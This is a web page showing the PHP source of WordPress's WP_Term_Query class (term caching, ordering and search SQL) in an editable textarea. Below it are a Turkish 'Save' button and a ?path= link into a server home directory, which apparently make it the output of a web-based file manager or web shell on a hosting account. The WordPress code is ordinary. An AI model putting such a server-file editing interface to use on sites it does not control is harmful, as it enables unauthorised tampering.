			$count = $wpdb-&gt;get_var( $this-&gt;request ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
			if ( $args[&#039;cache_results&#039;] ) {
				wp_cache_set( $cache_key, $count, &#039;term-queries&#039; );
			}
			return $count;
		}

		$terms = $wpdb-&gt;get_results( $this-&gt;request ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared

		if ( empty( $terms ) ) {
			if ( $args[&#039;cache_results&#039;] ) {
				wp_cache_add( $cache_key, array(), &#039;term-queries&#039; );
			}
			return array();
		}

		$term_ids = wp_list_pluck( $terms, &#039;term_id&#039; );
		_prime_term_caches( $term_ids, false );
		$term_objects = $this-&gt;populate_terms( $terms );

		if ( $child_of ) {
			foreach ( $taxonomies as $_tax ) {
				$children = _get_term_hierarchy( $_tax );
				if ( ! empty( $children ) ) {
					$term_objects = _get_term_children( $child_of, $term_objects, $_tax );
				}
			}
		}

		// Update term counts to include children.
		if ( $args[&#039;pad_counts&#039;] &amp;&amp; &#039;all&#039; === $_fields ) {
			foreach ( $taxonomies as $_tax ) {
				_pad_term_counts( $term_objects, $_tax );
			}
		}

		// Make sure we show empty categories that have children.
		if ( $hierarchical &amp;&amp; $args[&#039;hide_empty&#039;] &amp;&amp; is_array( $term_objects ) ) {
			foreach ( $term_objects as $k =&gt; $term ) {
				if ( ! $term-&gt;count ) {
					$children = get_term_children( $term-&gt;term_id, $term-&gt;taxonomy );

					if ( is_array( $children ) ) {
						foreach ( $children as $child_id ) {
							$child = get_term( $child_id, $term-&gt;taxonomy );
							if ( $child-&gt;count ) {
								continue 2;
							}
						}
					}

					// It really is empty.
					unset( $term_objects[ $k ] );
				}
			}
		}

		// Hierarchical queries are not limited, so &#039;offset&#039; and &#039;number&#039; must be handled now.
		if ( $hierarchical &amp;&amp; $number &amp;&amp; is_array( $term_objects ) ) {
			if ( $offset &gt;= count( $term_objects ) ) {
				$term_objects = array();
			} else {
				$term_objects = array_slice( $term_objects, $offset, $number, true );
			}
		}

		// Prime termmeta cache.
		if ( $args[&#039;update_term_meta_cache&#039;] ) {
			$term_ids = wp_list_pluck( $term_objects, &#039;term_id&#039; );
			wp_lazyload_term_meta( $term_ids );
		}

		if ( &#039;all_with_object_id&#039; === $_fields &amp;&amp; ! empty( $args[&#039;object_ids&#039;] ) ) {
			$term_cache = array();
			foreach ( $term_objects as $term ) {
				$object            = new stdClass();
				$object-&gt;term_id   = $term-&gt;term_id;
				$object-&gt;object_id = $term-&gt;object_id;
				$term_cache[]      = $object;
			}
		} elseif ( &#039;all&#039; === $_fields &amp;&amp; $args[&#039;pad_counts&#039;] ) {
			$term_cache = array();
			foreach ( $term_objects as $term ) {
				$object          = new stdClass();
				$object-&gt;term_id = $term-&gt;term_id;
				$object-&gt;count   = $term-&gt;count;
				$term_cache[]    = $object;
			}
		} elseif ( $fields_is_filtered ) {
			$term_cache = $term_objects;
		} else {
			$term_cache = wp_list_pluck( $term_objects, &#039;term_id&#039; );
		}

		if ( $args[&#039;cache_results&#039;] ) {
			wp_cache_add( $cache_key, $term_cache, &#039;term-queries&#039; );
		}

		$this-&gt;terms = $this-&gt;format_terms( $term_objects, $_fields );

		return $this-&gt;terms;
	}

	/**
	 * Parse and sanitize &#039;orderby&#039; keys passed to the term query.
	 *
	 * @since 4.6.0
	 *
	 * @param string $orderby_raw Alias for the field to order by.
	 * @return string|false Value to used in the ORDER clause. False otherwise.
	 */
	protected function parse_orderby( $orderby_raw ) {
		$_orderby           = strtolower( $orderby_raw );
		$maybe_orderby_meta = false;

		if ( in_array( $_orderby, array( &#039;term_id&#039;, &#039;name&#039;, &#039;slug&#039;, &#039;term_group&#039; ), true ) ) {
			$orderby = &quot;t.$_orderby&quot;;
		} elseif ( in_array( $_orderby, array( &#039;count&#039;, &#039;parent&#039;, &#039;taxonomy&#039;, &#039;term_taxonomy_id&#039;, &#039;description&#039; ), true ) ) {
			$orderby = &quot;tt.$_orderby&quot;;
		} elseif ( &#039;term_order&#039; === $_orderby ) {
			$orderby = &#039;tr.term_order&#039;;
		} elseif ( &#039;include&#039; === $_orderby &amp;&amp; ! empty( $this-&gt;query_vars[&#039;include&#039;] ) ) {
			$include = implode( &#039;,&#039;, wp_parse_id_list( $this-&gt;query_vars[&#039;include&#039;] ) );
			$orderby = &quot;FIELD( t.term_id, $include )&quot;;
		} elseif ( &#039;slug__in&#039; === $_orderby &amp;&amp; ! empty( $this-&gt;query_vars[&#039;slug&#039;] ) &amp;&amp; is_array( $this-&gt;query_vars[&#039;slug&#039;] ) ) {
			$slugs   = implode( &quot;&#039;, &#039;&quot;, array_map( &#039;sanitize_title_for_query&#039;, $this-&gt;query_vars[&#039;slug&#039;] ) );
			$orderby = &quot;FIELD( t.slug, &#039;&quot; . $slugs . &quot;&#039;)&quot;;
		} elseif ( &#039;none&#039; === $_orderby ) {
			$orderby = &#039;&#039;;
		} elseif ( empty( $_orderby ) || &#039;id&#039; === $_orderby || &#039;term_id&#039; === $_orderby ) {
			$orderby = &#039;t.term_id&#039;;
		} else {
			$orderby = &#039;t.name&#039;;

			// This may be a value of orderby related to meta.
			$maybe_orderby_meta = true;
		}

		/**
		 * Filters the ORDERBY clause of the terms query.
		 *
		 * @since 2.8.0
		 *
		 * @param string   $orderby    `ORDERBY` clause of the terms query.
		 * @param array    $args       An array of term query arguments.
		 * @param string[] $taxonomies An array of taxonomy names.
		 */
		$orderby = apply_filters( &#039;get_terms_orderby&#039;, $orderby, $this-&gt;query_vars, $this-&gt;query_vars[&#039;taxonomy&#039;] );

		// Run after the &#039;get_terms_orderby&#039; filter for backward compatibility.
		if ( $maybe_orderby_meta ) {
			$maybe_orderby_meta = $this-&gt;parse_orderby_meta( $_orderby );
			if ( $maybe_orderby_meta ) {
				$orderby = $maybe_orderby_meta;
			}
		}

		return $orderby;
	}

	/**
	 * Format response depending on field requested.
	 *
	 * @since 6.0.0
	 *
	 * @param WP_Term[] $term_objects Array of term objects.
	 * @param string    $_fields      Field to format.
	 *
	 * @return WP_Term[]|int[]|string[] Array of terms / strings / ints depending on field requested.
	 */
	protected function format_terms( $term_objects, $_fields ) {
		$_terms = array();
		if ( &#039;id=&gt;parent&#039; === $_fields ) {
			foreach ( $term_objects as $term ) {
				$_terms[ $term-&gt;term_id ] = $term-&gt;parent;
			}
		} elseif ( &#039;ids&#039; === $_fields ) {
			foreach ( $term_objects as $term ) {
				$_terms[] = (int) $term-&gt;term_id;
			}
		} elseif ( &#039;tt_ids&#039; === $_fields ) {
			foreach ( $term_objects as $term ) {
				$_terms[] = (int) $term-&gt;term_taxonomy_id;
			}
		} elseif ( &#039;names&#039; === $_fields ) {
			foreach ( $term_objects as $term ) {
				$_terms[] = $term-&gt;name;
			}
		} elseif ( &#039;slugs&#039; === $_fields ) {
			foreach ( $term_objects as $term ) {
				$_terms[] = $term-&gt;slug;
			}
		} elseif ( &#039;id=&gt;name&#039; === $_fields ) {
			foreach ( $term_objects as $term ) {
				$_terms[ $term-&gt;term_id ] = $term-&gt;name;
			}
		} elseif ( &#039;id=&gt;slug&#039; === $_fields ) {
			foreach ( $term_objects as $term ) {
				$_terms[ $term-&gt;term_id ] = $term-&gt;slug;
			}
		} elseif ( &#039;all&#039; === $_fields || &#039;all_with_object_id&#039; === $_fields ) {
			$_terms = $term_objects;
		}

		return $_terms;
	}

	/**
	 * Generate the ORDER BY clause for an &#039;orderby&#039; param that is potentially related to a meta query.
	 *
	 * @since 4.6.0
	 *
	 * @param string $orderby_raw Raw &#039;orderby&#039; value passed to WP_Term_Query.
	 * @return string ORDER BY clause.
	 */
	protected function parse_orderby_meta( $orderby_raw ) {
		$orderby = &#039;&#039;;

		// Tell the meta query to generate its SQL, so we have access to table aliases.
		$this-&gt;meta_query-&gt;get_sql( &#039;term&#039;, &#039;t&#039;, &#039;term_id&#039; );
		$meta_clauses = $this-&gt;meta_query-&gt;get_clauses();
		if ( ! $meta_clauses || ! $orderby_raw ) {
			return $orderby;
		}

		$allowed_keys       = array();
		$primary_meta_key   = null;
		$primary_meta_query = reset( $meta_clauses );
		if ( ! empty( $primary_meta_query[&#039;key&#039;] ) ) {
			$primary_meta_key = $primary_meta_query[&#039;key&#039;];
			$allowed_keys[]   = $primary_meta_key;
		}
		$allowed_keys[] = &#039;meta_value&#039;;
		$allowed_keys[] = &#039;meta_value_num&#039;;
		$allowed_keys   = array_merge( $allowed_keys, array_keys( $meta_clauses ) );

		if ( ! in_array( $orderby_raw, $allowed_keys, true ) ) {
			return $orderby;
		}

		switch ( $orderby_raw ) {
			case $primary_meta_key:
			case &#039;meta_value&#039;:
				if ( ! empty( $primary_meta_query[&#039;type&#039;] ) ) {
					$orderby = &quot;CAST({$primary_meta_query[&#039;alias&#039;]}.meta_value AS {$primary_meta_query[&#039;cast&#039;]})&quot;;
				} else {
					$orderby = &quot;{$primary_meta_query[&#039;alias&#039;]}.meta_value&quot;;
				}
				break;

			case &#039;meta_value_num&#039;:
				$orderby = &quot;{$primary_meta_query[&#039;alias&#039;]}.meta_value+0&quot;;
				break;

			default:
				if ( array_key_exists( $orderby_raw, $meta_clauses ) ) {
					// $orderby corresponds to a meta_query clause.
					$meta_clause = $meta_clauses[ $orderby_raw ];
					$orderby     = &quot;CAST({$meta_clause[&#039;alias&#039;]}.meta_value AS {$meta_clause[&#039;cast&#039;]})&quot;;
				}
				break;
		}

		return $orderby;
	}

	/**
	 * Parse an &#039;order&#039; query variable and cast it to ASC or DESC as necessary.
	 *
	 * @since 4.6.0
	 *
	 * @param string $order The &#039;order&#039; query variable.
	 * @return string The sanitized &#039;order&#039; query variable.
	 */
	protected function parse_order( $order ) {
		if ( ! is_string( $order ) || empty( $order ) ) {
			return &#039;DESC&#039;;
		}

		if ( &#039;ASC&#039; === strtoupper( $order ) ) {
			return &#039;ASC&#039;;
		} else {
			return &#039;DESC&#039;;
		}
	}

	/**
	 * Used internally to generate a SQL string related to the &#039;search&#039; parameter.
	 *
	 * @since 4.6.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $search Search string.
	 * @return string Search SQL.
	 */
	protected function get_search_sql( $search ) {
		global $wpdb;

		$like = &#039;%&#039; . $wpdb-&gt;esc_like( $search ) . &#039;%&#039;;

		return $wpdb-&gt;prepare( &#039;((t.name LIKE %s) OR (t.slug LIKE %s))&#039;, $like, $like );
	}

	/**
	 * Creates an array of term objects from an array of term IDs.
	 *
	 * Also discards invalid term objects.
	 *
	 * @since 4.9.8
	 *
	 * @param Object[]|int[] $terms List of objects or term ids.
	 * @return WP_Term[] Array of `WP_Term` objects.
	 */
	protected function populate_terms( $terms ) {
		$term_objects = array();
		if ( ! is_array( $terms ) ) {
			return $term_objects;
		}

		foreach ( $terms as $key =&gt; $term_data ) {
			if ( is_object( $term_data ) &amp;&amp; property_exists( $term_data, &#039;term_id&#039; ) ) {
				$term = get_term( $term_data-&gt;term_id );
				if ( property_exists( $term_data, &#039;object_id&#039; ) ) {
					$term-&gt;object_id = (int) $term_data-&gt;object_id;
				}
				if ( property_exists( $term_data, &#039;count&#039; ) ) {
					$term-&gt;count = (int) $term_data-&gt;count;
				}
			} else {
				$term = get_term( $term_data );
			}

			if ( $term instanceof WP_Term ) {
				$term_objects[ $key ] = $term;
			}
		}

		return $term_objects;
	}

	/**
	 * Generate cache key.
	 *
	 * @since 6.2.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param array  $args WP_Term_Query arguments.
	 * @param string $sql  SQL statement.
	 *
	 * @return string Cache key.
	 */
	protected function generate_cache_key( array $args, $sql ) {
		global $wpdb;
		// $args can be anything. Only use the args defined in defaults to compute the key.
		$cache_args = wp_array_slice_assoc( $args, array_keys( $this-&gt;query_var_defaults ) );

		unset( $cache_args[&#039;cache_results&#039;], $cache_args[&#039;update_term_meta_cache&#039;] );

		if ( &#039;count&#039; !== $args[&#039;fields&#039;] &amp;&amp; &#039;all_with_object_id&#039; !== $args[&#039;fields&#039;] ) {
			$cache_args[&#039;fields&#039;] = &#039;all&#039;;
		}

		// Replace wpdb placeholder in the SQL statement used by the cache key.
		$sql = $wpdb-&gt;remove_placeholder_escape( $sql );

		$key          = md5( serialize( $cache_args ) . $sql );
		$last_changed = wp_cache_get_last_changed( &#039;terms&#039; );
		return &quot;get_terms:$key:$last_changed&quot;;
	}
}
</textarea><br><br>
        <button>Kaydet</button>
        </form><a href='?path=%2Fhome%2Fwebdevt%2Fwww%2Fwdp'>⬅️ Yukarı</a>